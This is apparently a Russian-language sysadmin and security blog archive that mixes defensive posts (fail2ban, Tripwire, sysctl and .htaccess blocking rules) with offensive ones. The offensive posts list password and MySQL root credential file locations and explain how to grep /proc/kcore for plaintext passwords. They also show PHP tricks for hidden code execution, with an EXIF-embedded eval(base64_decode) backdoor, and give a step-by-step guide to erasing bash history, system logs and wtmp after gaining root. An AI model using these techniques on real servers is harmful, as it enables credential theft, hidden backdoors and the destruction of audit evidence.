Показаны сообщения с ярлыком безопасность. Показать все сообщения
Показаны сообщения с ярлыком безопасность. Показать все сообщения

вторник, 8 июля 2014 г.

Пароли в разных ОС

  Пароли в разных ОС:

A/UX 3.0s - /tcb/files/auth/?/*
FreeBSD 4.3 - /etc/master.passwd
ConvexOS 10 - /etc/shadpw
ConvexOS 11 - /etc/shadow
DG/UX - /etc/tcb/aa/user/
HP-UX - /.secure/etc/passwd
IRIX 5 - /etc/shadow
Linux 1.1 - /etc/shadow
SunOS 4.1 - /etc/security/passwd.adjunct
SunOS 5.0 - /etc/shadow
UNICOS - /etc/udb
Win 95/98 - c:windows*.pwl
AIX 3 - /etc/security/passwd или /tcb/auth/files/первый символ логина/логин
BSD4.3-Reno - /etc/master.passwd
EP/IX - /etc/shadow
OSF/1 - /etc/passwd[.dir|.pag]
SCO Unix #.2.x - /tcb/auth/files/первый символ логина/логин
System V Release 4.0 - /etc/shadow
System V Release 4.2 - /etc/security/* database
Ultrix 4 - /etc/auth[.dir|.pag]

               Пароли в различных серверах:

Samba  - /etc/samba/smbpasswd
Apache - /usr/local/apache/pwd

                           Основные виды хэшей:

e9a7656f277ba63618e20628fefad321          - md5
14FB05A326C16B2B                          - MySQL
$l$12345678$6KdMANluuNMmoxB4v4SyQ0        - MD5 (Unix)
9ABB8717D8B02F4181274D347622C6927F82725C  - SHA-1
5m84advre2a0p                             - DES

вторник, 1 июля 2014 г.

MySQL root password in Plesk, ISPmanager, DirectAdmin, Cpanel, phpMyAdmin

Plesk (Parallels)
/etc/psa/.psa.shadow

пользователь - admin

ISPManager 
/usr/local/mgr5/etc/common.conf 

root

ISPManager -> Настройки сервера -> Серверы баз данных -> MySQL -> Пароль

DirectAdmin  
/usr/local/directadmin/conf/mysql.conf

da_admin 

cPanel
/root/.my.cnf

DBACCESS="-u root -pPASSWORD"

phpMyAdmin 
/etc/phpMyAdmin/config.inc.php

$cfg['blowfish_secret'] = 'wertyfvv';

$cfg['Servers'][1]['auth_type'] = 'cookie';

$cfg['Servers'][1]['user'] = 'root';

$cfg['Servers'][1]['password'] = 'wejbmjm,n3';
blowfish_secret – это произвольная фраза, которая нужна для шифрования паролей в куках

auth_type – это тип авторизации, который может принимать 3 значения: config, cookie и http:

config – указывает на то, что логин/пароль будут браться из этого файла (две следующие строчки user и password)
cookie – указывает на то, что логин/пароль будут спрашиваться каждый раз, как кто-то переходит по адресу, где лежит phpmyadmin.

суббота, 22 марта 2014 г.

Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();


Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 

// ...

new Malware; 


Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();



Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));


Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');


Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // или user_error();


Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();


Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');


В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.


Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg


будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;


Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».


http://habrahabr.ru/post/215817/

пятница, 10 января 2014 г.

Protect your server from butforce with Fail2ban

 Простая в использовании утилита, позволяющая блокировать попытки брутфорса.

yum install fail2ban

#Создадим jail.local, который будет переопределять правила jail.conf
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Основной файл настроек: jail.conf
ignoreip - наш ip, не фильтруется.
bantime - длительность бана.
Maxretry - количество попыток авторизации, после которого ip получает бан.
Findtime - время в секундах, в течении которого фиксируется auth error для каждого ip. Т.е. если Findtime=60,Maxretry=3, то после трех попыток в течении 60 сек ip отправляется в бан.
usedns = yes - если вместо ip в логе имя хоста, fail2ban будет разрешать хост в ip.
[ssh-iptables]


enabled  = true

filter   = sshd

action   = iptables[name=SSH, port=ssh, protocol=tcp]

           sendmail-whois[name=SSH, dest=root, sender=fail2ban@example.com]

logpath  = /var/log/secure

maxretry = 5
filter : This section by default set to sshd and refers the config file (/etc/fail2ban/filter.d/sshd.conf) containing the rules that fail2ban uses to find matches.
action : This action tells the fail2ban to ban a matching IP address once a filter matches in the /etc/fail2ban/action.d/iptables.conf file. If your server have mail setup, you can add email address, where fail2ban sends you a email alerts whenever it bans an IP address. The sender section refers to file /etc/fail2ban/action.d/sendmail-whois.conf file.
С помощью fail2ban можно также блокировать DNS DDoS, для этого необходимо задействовать правила

[named-refused-udp] и [named-refused-tcp] 

Мы можем создавать сои собственные правила с регулярными выражениями. Для их тестирования можно воспользоваться командой:
fail2ban-regex /var/log/auth.log "Failed [-/\w]+ for .* from "
Тестируемые правила необходимо заключать в двойные кавычки иначе получим ошибку. Например, если мы хотим заблокировать тех, кто пытается попасть в директории phpmyadmin|mail|forum|login|cgi-bin|wp-login, то правило будет выглядеть так:
^<host> - - \[.*\] \"(GET|POST) /(phpmyadmin|mail|forum|login|cgi-bin|wp-login|mysql).* HTTP\/.*$
Важная особенность - все правила регистрозависимые. Чтобы сделать их caseisensitive нужно добавить (?i) в начало каждого правила.
^(?i)<host> - - \[.*\] \"(GET|POST) /(phpmyadmin|mail|forum|login|cgi-bin|wp-login).* HTTP\/.*$
Можно добавлять сразу несколько правил в один фильтр, добавляя каждое с новой строки.

Чтобы проверить добавляются ли правила в iptables, запустите
iptables -L
Перезагрузк iptables удалит забаненyые ip.
Все остальное довольно интуитивно понятно.

http://www.fail2ban.org/wiki/index.php/MANUAL_0_8

среда, 11 сентября 2013 г.

Оперативная память linux

В файле можно найти пароли авторизации в открытом виде и много другой полезной информации, которая была загружена в память.
Расположение: /proc/kcore
Размер файла равен размеру RAM + SWAP
strings /proc/kcore | grep -A 50 -B 50 {username} | sort -u | uniq -u > /tmp/kdump.uniq
Странно но пароль всегда находился в пределах +-50 строк от имени пользователя

воскресенье, 4 августа 2013 г.

Tripwire

Режимы работы Tripwire:

    Инициализация базы данных (Database Initialization Mode);

    Проверка целостности (Integrity Checking Mode);

    Обновление базы данных (Database Update Mode);

    Обновление политики (Policy Update Mode);

    Тестовый режим (Test Mode);
   
При вызове программ можно использовать дополнительные ключи:
    -?
    --help
    --help all
    --help режим
    --version
    --verbose (или -v)
    --quiet (или -s)
    --polfile полиси-файл
    --cfgfile файл-конфигурации
    --site-keyfile файл-общего-ключа
    --local-keyfile файл-локального-ключа
    --dbfile файл-БД
    --local-passphrase парольная фраза (не советую использовать, т.к. ее могут увидеть с помощью команды ps)
    --site-passphrase парольная фраза (не советую использовать, т.к. ее могут увидеть с помощью команды ps)

    При необходимости исходные конфигурационные файлы можно создать вновь:
# twadmin -m p > /etc/tripwire/twpol1.txt 

# twadmin -m f > /etc/tripwire/twcfg.txt


Маски (Атрибуты файлов)

A property mask determines which object properties are ignored or monitored by Tripwire.
An empty property mask may not be used.
The property mask must contain one or more property characters.
When property values are used in a property mask without the + or – sign, the plus sign (+) is assumed.
+p+n+s = +pns = pns
    p - права доступа
    i - inode
    n - число жестких ссылок
    u - uid
    g - gid
    t - тип файла
    s - размер
    d - номер устройства диска, на котором хранится соответствующий inode
    r - для файлов устройств номер устройства
    b - число блоков
    m - время модификации
    c - время создания/модификации inode
    l - ожидается, что файл будет расти; если он уменьшился, то это нарушение
    a - время доступа (несовместим с CMSH, т.к. для вычисления суммы необходимо прочитать файл; доступ к содержимому директории меняет время доступа к ней)
    C - контрольная сумма CRC-32, POSIX 1003.2
    M - контрольная сумма MD5
    S - контрольная сумма SHA
    H - контрольная сумма HAVAL
К этим атрибутам можно добавлять дополнительные маски:
+ сравнить атрибут
- игнорировать атрибут
The mask # establishes the same monitoring criteria as the first mask.

The plus sign (+) enables monitoring for a property, the minus sign (-) disables monitoring.
Not specifying a property in the property mask is the same as using the minus (-) sign.
When a plus or minus sign appears in a property mask, it is in effect until the next plus or minus sign appears in the same mask.
When two properties in the same mask contradict each other, only the last property is acted upon by Tripwire.
A property mask may be used with no properties enabled. This type of mask is often used to monitor the deletion or addition of files to the system.

specify the name of the report file you wish to merge with the database
$ tripwire --update -r /var/lib/tripwire/report/androidius.ru-20130802-140850.twr

Атрибуты правил

При написании правил вы можете указывать их атрибуты.
Атрибуты модифицируют действие правила, записываются в виде списка имя = значение через запятую и могут применяться к отдельному правилу или группе правил. Группа правил заключается в фигурные скобки. Список атрибутов для группы правил записывается в скобках перед ней. Индивидуальные атрибуты имеют больший приоритет, чем групповые, за исключением атрибута emailto - в этом случае атрибут добавляется. Обрабатываются следуюшие атрибуты:
rulename - позволяет присвоить правилу имя, которое будет выведено в отчете в случае нарушения правила. Кроме этого, имя можно использовать при сортировке с помощью grep

emailto - Пример: /etc -> +us (email = paer@yahoo.com). чтобы указать несколько адресов, надо перечислить их через точку с запятой и заключить в кавычки

/etc -> +ug (emailto="admin@foo.com;admin2@foo.com");

severity - от 0 до миллиона, по умолчанию - 0; чем больше, тем серьезнее; проверку можно запускать только для правил указанного уровня или выше; в командной строке могут использоваться ключи high - уровень 100, medium - уровень 66, low - уровень 33

recurse - рекурсивная проверка. Если объект является каталогом, то Tripwire будет контролировать все его подкаталоги. true (-1) по умолчанию, false (0) - подкаталоги сканироваться не будут, Tripwire будет сканировать только свойства заданного каталога, а не содержащихся в нем файлов. Положительное значение (1, 2, 3 и т.д.) - позволяет установить глубину сканирования (максимальный уровень вложенности). Атрибут recurse для файла игнорируется.
(
  rulename = "Monitor Filesystems",
)
{
  /                             -> $(ReadOnly) ;
  /home                         -> $(ReadOnly) (recurse=1);

}

Переменные

Переменные делятся на глобальные и локальные для данной секции. Локальные имеют больший приоритет. Значение переменной присваивается командой имя_переменной = значение; Имя переменной может включать буквы (регистр имеет значение), цифры и знаки: "_+-@:&%^.". Если значение содержит пробел или управляющие сиволы, то оно должно быть заключено в кавычки. Подстановка переменных допускается в любом месте, где по синтаксису полагается строка (в т.ч. как часть левой части правила) и выражается так:
$(имя_переменной)

Предопределенные переменные (не могут быть переопределены):
ReadOnly = +pinugsmtdbCM-raclSH (предполагается, что содержимое файлов не изменяется)

Dynamic = +pinugtd-rsacmblCMHS (предполагается частое изменение содержимого файлов, например /home)

Growing = +pinugtdl-rsacmbCMSH (например, журналы)

IgnoreAll = -pinusgamctdrblCMSH (проверять лишь наличие или отсутствие файла)

IgnoreNone = +pinusgamctdrbCMSH-l (используется для дальнейшего конструирования собственной маски: $(IGnoreNone)-ar)

Device = +pugsdr-intlbamcCMSH (для файлов, которые нельзя открывать)


Директивы

Директивы позволяют вам распечатывать диагностические сообщения в случае, когда при проверке достигнуты определенные разделы файла политики, или осуществляется проверка определенных свойств хоста. Смысл в том, что один и тот же файл политики может быть использован на различных хостах и операционных системах.

    @@section. Начинает новый раздел файла. Эта директива может сопровождаться аргументами: FS, NTFS или NTREG. Unix-версия Tripwire игнорирует разделы файла NTFS или NTREG, что позволяет вам использовать один файл политики для всей вашей сети. Если после директивы не задано никаких аргументов, предполагается значение FS. Нет необходимости определять конец раздела, поскольку Tripwire просто просматривает файл в поисках следующей директивы и интерпретирует ее, как конец предыдущего раздела.
    @@ifhost, @@else, @@endif. Эти директивы можно использовать для определения специфических для хоста разделов файла. В отличие от директив разделов, директивы ifhost требуют, чтобы предложение было завершено директивой endif. Это позволяет вам запускать правила только для конкретного хоста в группе хостов, воспользовавшись примерно такой командой:

    @@ifhost originix || badman
       # define rules for only hosts originix and badman here
    @@endif

@@ifnhost hostname Same as the argument, except that the hostname must NOT match the hostname used in this argument.
@@include pathname Used to include the file specified in pathname into the policy file. Both files must use syntax readable by Tripwire.
@@variable Used to make Tripwire perform an action when the named variable is encountered.
@@{variable-name} Same as the previous syntax; normally used in conjunction with other strings.
@@undef variable-name Unassigns the named variable.
@@define variable-string Used to assign a string to a variable. If now string argument is used, the null string is assigned. (Example: @@define LOGS E+pugn
##this template will monitor log files for file permissions, User ID, Group ID, and link count.
##The next template will be the default template applied to directories.)
Using: /var/log                       @@LOGS;
@@ifdef variable-name This argument is true if the variable is defined.
@@Ifndef variable-name This argument is true if the variable is NOT defined.
    @@print, @@error. Эти директивы используются для вывода отладочных сообщений из файла политики. Директория @@print просто печатает на стандартный вывод, а директива @@error осуществляет печать в случае ненормального завершения работы программы. Следующий пример указывает Tripwire выдать сообщение в случае, если будет сделана попытка проверки хоста cauliflower, поскольку для этого хоста не предусмотрено никаких правил проверки:

    @@ifhost cauliflower
       @@error "We haven't written any policy rules for
           host cauliflower yet"
    @@endif

    @@end. Эта директива обозначает конец файла политики. Достигнув этой точки, Tripwire прекращает считывание файла.
||  Logical OR statement
&&  Logical AND statement
##  Used to indicate comments


Чтобы исключить файл или папку из проверки используется знак !:
/etc $(ReadOnly) –ar;
!/etc/rc.d ;
!/etc/sysconfig ;
Распечатать результаты проверки:
twprint --print-report -r /var/lib/tripwire/report/site.ru-20130802-133246.twr | more

Обновить правила из файла twpol1.txt:
tripwire --update-policy --secure-mode low ../etc/tripwire/twpol1.txt
--secure-mode low - Обновить базу данных после применения новых настроек.

6. Check for any changes to the files and update tripwire database.
# ./tripwire --check --interactive

(
  rulename = "www Site Directory", severity = $(SIG_MED)
)
{
/var/www                        -> $(IgnoreNone);
/var/www/httpd-logs             -> $(SEC_LOG);
/var/www/caskag/data/logs       -> $(SEC_LOG) ;
!/var/www/caskag/data/mod-tmp       -> $(SEC_INVARIANT) ;
}

Если же изменен важный файл, к примеру, отредактирован какой-то конфигурационный файл в каталоге /etc, то нужно сообщить об данном Tripwire. Для этого Tripwire запускается с опцией -update и опцией -twrfile, после которой показывается файл отчета:
# tripwire --update --twrfile /var/tripwire/report


Автоматическая проверка

execute tripwire check daily at 4:00 a.m.
#add the following line to your crontab
00 4 * * * /opt/tripwire/sbin/tripwire  --check
Для автоматической ежедневной проверки нужно создать файл twcheck в /etc/cron.daily:
#!/bin/sh

HOST_NAME= 'uname -n'

if [ ! -e /var/lib/tripwire/${HOST_NAME}.twd ]; then echo "*** Error: Tripwire database for ${HOST_NAME} not fountd"

echo "*** Run "/etc/tripwire/twinstall.sh" and/or "tripwire —init." else

test -f /etc/tripwire/tw.cfg && /usr/sbin/tripwire --check fi
Проверка работоспособности почтовой системы:

tripwire --test --email адрес

http://www.bog.pp.ru/work/tripwire.html
http://www.ibm.com/developerworks/ru/library/au-usingtripwire/
http://www.intuit.ru/studies/courses/1053/150/lecture/2201?page=10&keyword_content=leased 

Каккие файлы проверять с помощью Tripwire:

Проверяйте все бинарные файлы, особенно в папках /sbin и /lib.
Проверяйте системный логи /var/log.
Проверяйте конфигурационные файлы в /etc.
Проверяйте файлы программ безопасности, антивирусов и фаерволов.

пятница, 26 июля 2013 г.

Чистим логи в Linux

Первое что нам необходимо сделать после получения рут привилегий это:

Отключить сохранение команд текущей сессии в истории Bash:
unset HISTFILE
или
export HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null 

freebsd
setenv histfile /dev/null
setenv MYSQL_HISTFILE /dev/null

Далее после работы, нам нужно очистить логи с записями о нашем присутствии в системе. Сделать это можно двумя способами:
1. С помощью специальных утилит (Log Wiper,Log Cleaner, etc)
2. В ручную

Не помешает также подчистить .bash_history, в котором сохраняется история команд.

Далее перед отключением делаем:
kill -9 $$
kill -9 $$ - это выход из консоли без без сохранения истории, где $$ идентификатор текущего процесса консоли.

Если вы решили довериться утилитам, то можно воспользоваться одной из этих утилит:
http://packetstormsecurity.com/UNIX/penetration/log-wipers/
Наиболее популярные: vanish , whitecat

Рассмотрим whitecat. Она поддерживает FreeBSD, Linux, SOLARIS.
Последняя версия 1.1: http://forum.antichat.ru/threadnav36595-4-10.html
Пути к логам находятся в массиве APACHE_PATH[] (стр. 54, файл witecat.c). Чтобы добавить новый путь - просто добавьте строчку в массив, соблюдая запятые. Во время работы при попытке обработать несуществующий путь ошибки не вываливаются.  
Компиляция: gcc whitecat.c -o whitecat
Запуск(например хотим почистить свой ip в логах):
./whitecat -u root -a 127.0.0.1

Для ручной чистки можно использовать следующие команды:
egrep -rl "127.0.0.1" /var | while read f; do sed -e '/127.0.0.1/d' $f>1.back;touch -r $f time.tmp;mv -f 1.back $f;touch -r time.tmp $f;rm -f time.tmp;done
Если остаются пустые строчки - их тоже можно удалить:
sed '/^$/d' new
Обратите внимание, мы не используем mv, для затирания файлов, тк после этой команды не производится дальнейшая запись в логи.  После команды mv запись продолжается в переименованный файл и только по SIGHUP демон переключается на новый файл лога.

Описание системы ведения логов

В Unix программы могут вести свои собственные логи или использовать для этого демон syslogd. С помощью этого демона любые другие демоны или службы могут заносить в общие логи (файлы журналов) свою информацию. Таким образом для всех программ можно установить единый метод регистрации событий, за что и отвечает syslogd. Итак сислог-демон распределяет события по категориям и важности (приоритетам), а также в зависимости от конфигурации решает куда отправить запись о данном событии. Все настройки, отвечающие за это, хранятся в файле /etc/syslog.conf. Посмотрим на пример конфигурационного файла syslog'a, который мы взяли из Red Hat linux 9.0 установленного с дефолтными параметрами:
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Log all the mail messages in one place.
mail.* /var/log/maillog


# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages
*.emerg *

# Save news errors of level crit and higher in a special file.
uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
local7.* /var/log/boot.log
Слева пишется категория и привилегия события, а справа - файл куда это событие заносится:
катeгория.приоритет адрес_лог_файла
Звездочка, как можно легко догадаться, означает все категории или все приоритеты. Теперь немного поподробнее о категориях:

auth - сообщения о нарушении авторизации доступа;
authpriv - сообщения о привилегированном доступе;
cron - сообщения демона крон;
daemon - сообщения других демонов;
kern - сообщения ядра;
lpr - сообщения системы печати;
mail - сообщения почтовых программ;
news - сообщения новостных программ;
syslog - сообщения самого демона сислог;
security - тоже самое что и auth (не должно использоваться в новых системах);
user - сообщения программ юзеров;
uucp - сообщения UUCP;
local0-local7 - определяется для конкретной системы.

Почти понятно? Тогда рассмотрим уровни приоритетов:
emerg - системе амбец;
alert - нужно срочное вмешательство;
crit - состояние критично и представляет угрозу работе системы;
err - сообщение об ошибках;
warnity - предупреждение;
notice - состояние допустимое, но админ должен это увидеть;
info - просто информация;
debug - отладочные сообщения;
none - нет приоритета.
Таким образом, настройки файла /etc/syslog.conf определят заносить ли какое-либо конкретное сообщение в файл журнала или нет.

 Теперь посмотрим куда могут отправляться сообщения.
/путь/имя_файла - сообщения записываются в лог-файл;
/dev/console (что в нашем примере) - сообщение передается на терминал (т.е. их можно увидеть на мониторе, подключенном к данной машине);
root,user1,user2 - имена пользователей, на терминал которых будет выводиться сообщение;
* - сообщения выводятся на терминалы всех пользователй (см. пример с *.emerg);
mail.=info                   /dev/tty12

| - знак конвеера означает, что сообщение передается другой программе (например | "mail root" - сообщение передается руту по почте);
@имя_хоста - сообщения отправляются на удаленный компьютер (демону syslogd).
Последнее и есть самая опасная вещь - логи удастся почистить только если взломать второй хост.
*.*             @megalohost

Рекомендуется также заглянуть в файл /var/log/messages, где могут сохраниться системные сообщения от применения эксплойтов или других действий.

  /var/log/lastlog
lastlog — содержит записи о времени последнего входа в систему для каждого пользователя. Этот файл содержит только одну запись для каждого пользователя.

/var/log/wtmp/
wtmp — содержит записи обо всех входах в систему (и выходах из системы) по пользователям. На загруженном компьютере этот файл имеет большой размер, поскольку содержит по одной записи входа и одной – выхода из системы. Файл также содержит дополнительную системную информацию, такую как перезагрузка, выключение и изменение даты.

/var/run/utmp 
Файл utmp позволяет получать информацию о том, кто в данный момент работает в системе. Пользователей, в данное время использующих систему, может быть большое количество, поскольку не все программы используют регистрацию через utmp.

Файл /var/log/btmp записывает неправильные регистрации. 

При входе пользователя в систему открывается файл lastlog, и в нем обновляется запись о дате и времени входа. Затем открывается файл utmp, и в него записывается информация о текущем нахождении в системе. Запись о входе в систему (как правило, копия информации, добавленной в lastlog) записывается также в журнал wtmp для регистрации входа в систему.
При выходе пользователя из системы запись о нахождении в системе, внесенная в utmp, удаляется (с этого момента пользователь не зарегистрирован в системе), а в wtmp вносится дополнительная запись для регистрации того, что пользователь вышел из системы. 

Мы можем отредактировать wtmp файл вручную с помощью утилиты fwtmp.

Преобразуем двоичный файл wtmp в текстовый файл:
fwtmp < wtmp.mmdd > wtmp.new
Команда fwtmp преобразует wtmp из двоичного кода в текстовый формат.
Отредактируйте текстовый файл wtmp.new, удалив/отредактировав нужные записи
Преобразуем текстовый файл wtmp.new обратно в двоичный формат:
fwtmp -ic < wtmp.new > wtmp.mmdd
Если файл wtmp восстановить невозможно, то с помощью команды nulladm создайте пустой файл wtmp:
nulladm wtmp

Утилита wtmpfix поможет скорректировать согласованность системной даты и времени в файле wtmp, если в нем появились ошибки.

http://xaknotdie.org/defaced/3/d3_09.html 

понедельник, 22 июля 2013 г.

Server: name in HTTP header response (Server: Apache)

We can change it to own name using mod_security and SecServerSignature derective in modsecurity.conf file:
SecServerSignature Akunamatata
and change ServerTokens parametr in httpd.conf to
ServerTokens Full

Определение ОС

OS Fingerprints - http://bugtraq.ru/library/security/finger.html


Способ первый: допустим, на сервере запушен www-сервис. Ты знаешь, что типов операционных систем всего два: Win и Unix, а одно из их существенных отличий - это то, что Unix, чувствителен к регистру, т.е. если в Win "file.txt" и "FILE.TXT" - одно и тоже, то в Unix - это два разных файла. Поэтому, Если к примеру ты просматриваешь страничку www.target.com/help.htm, просто попробуй изменить "help.htm" на "Help.htm" - если увидишь "Страница не найдена" - значит перед тобой Unix, в противном случай догадайся сам ;-)
Плюсы: абсолютная надежность и простота
Минусы: определяется только тип ОС

Способ второй: запушенные сервисы. Просканируй цель на предмет открытых портов - открытый порт это и есть сервис. Некоторые сервисы являются специфичными для определенного вида ОС, а по их версии можно определить с какой операционкой имеешь дело (Лучше всего именно так определять NT 4.0, 5.0). Кроме того, версию ОС иногда можно определить по баннеру сервиса (надписи, которую ты видишь когда соединяешься с данным сервисом - особенно этим грешит Ftp).
Плюсы: высокая надежность
Минусы: в случае с Unix`ом нельзя быть 100% уверенным, что исходя из версии сервиса ты сделал единственно правильный выбор

Способ третий: Netcraft - web-сервис
http://searchdns.netcraft.com/?restriction=site+contains&host=.ru&lookup=wait..&position=limited
Минусы: на сервере должен быть запущен www-сервис

Параметры TCP/IP


Следующие настройки помогут затруднить определение ОС для различных сканеров.

Для затруднения идентификации используемой ОС необходимо внести следующие изменения в файл /etc/sysctl.conf:
Игнорируем бродкастовые ICMP пакеты:
net.ipv4.icmp_echo_ignore_broadcasts = 1
Блокируем TCP SYN атаки:
net.ipv4.tcp_syncookies = 1
Блокируем ICMP редиректы:
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
Отключаем uptime:
net.ipv4.tcp_timestamps = 0
Меняем TTL (Time to live) с 64 на 128:
net.ipv4.ip_default_ttl = 128
Скорость генерации ICMP:
net.ipv4.icmp_ratelimit = 70
Для вступления изменений в силу перезагрузите компьютер либо выполните:
# sysctl -p
telnet - Identify remote web server
$ telnet www.vivekgite.com www
HEAD / HTTP/1.0
Output:
HTTP/1.0 200 OK
Connection: close
X-Pingback: http://www.cyberciti.biz/tips/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Mon, 28 Jan 2008 08:50:55 GMT
Server: lighttpd
Connection closed by foreign host.
curl - Identify remote web server 
$ curl -I http://www.remote-server.com/
$ curl -I http://vivekgite.com/

Output:
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 0
Date: Mon, 28 Jan 2008 08:53:54 GMT
Server: lighttpd

пятница, 19 июля 2013 г.

Secure your site with htaccess

Некоторые правила в файле .htaccess могут значительно уменьшить количество "опасных" запросов на вашем сайте и отразить атаки скрипткиддисов.

#Base rules of anti mysqli and another
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC,OR]
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>|’|"|;|\?|\*).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(&#x22;|&#x27;|&#x3C;|&#x3E;|&#x5C;|&#x7B;|&#x7C;).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} .*=http.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=https.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=ftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=sftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*jos_.* [NC,OR]
RewriteCond %{QUERY_STRING} .*users\+where\+gid.* [NC,OR]
RewriteCond %{QUERY_STRING} .*proc/self/environ.* [NC,OR]
RewriteCond %{QUERY_STRING} .*union\+select.* [NC,OR]
RewriteCond %{QUERY_STRING} .*perl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*curl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*SQL.* [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
